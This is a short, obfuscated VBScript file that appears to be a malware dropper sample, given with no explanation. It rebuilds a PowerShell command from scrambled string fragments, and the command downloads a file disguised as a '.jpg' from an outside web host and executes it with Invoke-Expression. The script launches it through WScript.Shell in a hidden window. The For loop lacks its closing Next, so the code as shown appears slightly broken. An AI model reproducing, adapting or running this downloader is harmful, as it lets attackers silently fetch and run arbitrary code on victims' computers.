Dim odqeoodqeo(5), qhklQsdxvxY, i
' 1111111
odqeoodqeo(0) = "[BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B"
odqeoodqeo(1) = "456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='-"
odqeoodqeo(2) = "@-@-@-$-%^(''https://jumboplastsrl.c"
odqeoodqeo(3) = "om.ar/rr/nsmoney.jpg'')'.RePLACe('-@-@-@-$-%^','ADSTRI"
odqeoodqeo(4) = "NG');[BYTe[]];IeX($A123+$B456+$C789)"
' 1111111
qhklQsdxvxY = ""
For i = 0 To 5 - 1
qhklQsdxvxY = qhklQsdxvxY & odqeoodqeo(i)
' 1111111
Set Pictures = CreateObject("WScript.Shell")
Pictures.Run "POWeRSHeLL " & qhklQsdxvxY, 0, True
Set Pictures = Nothing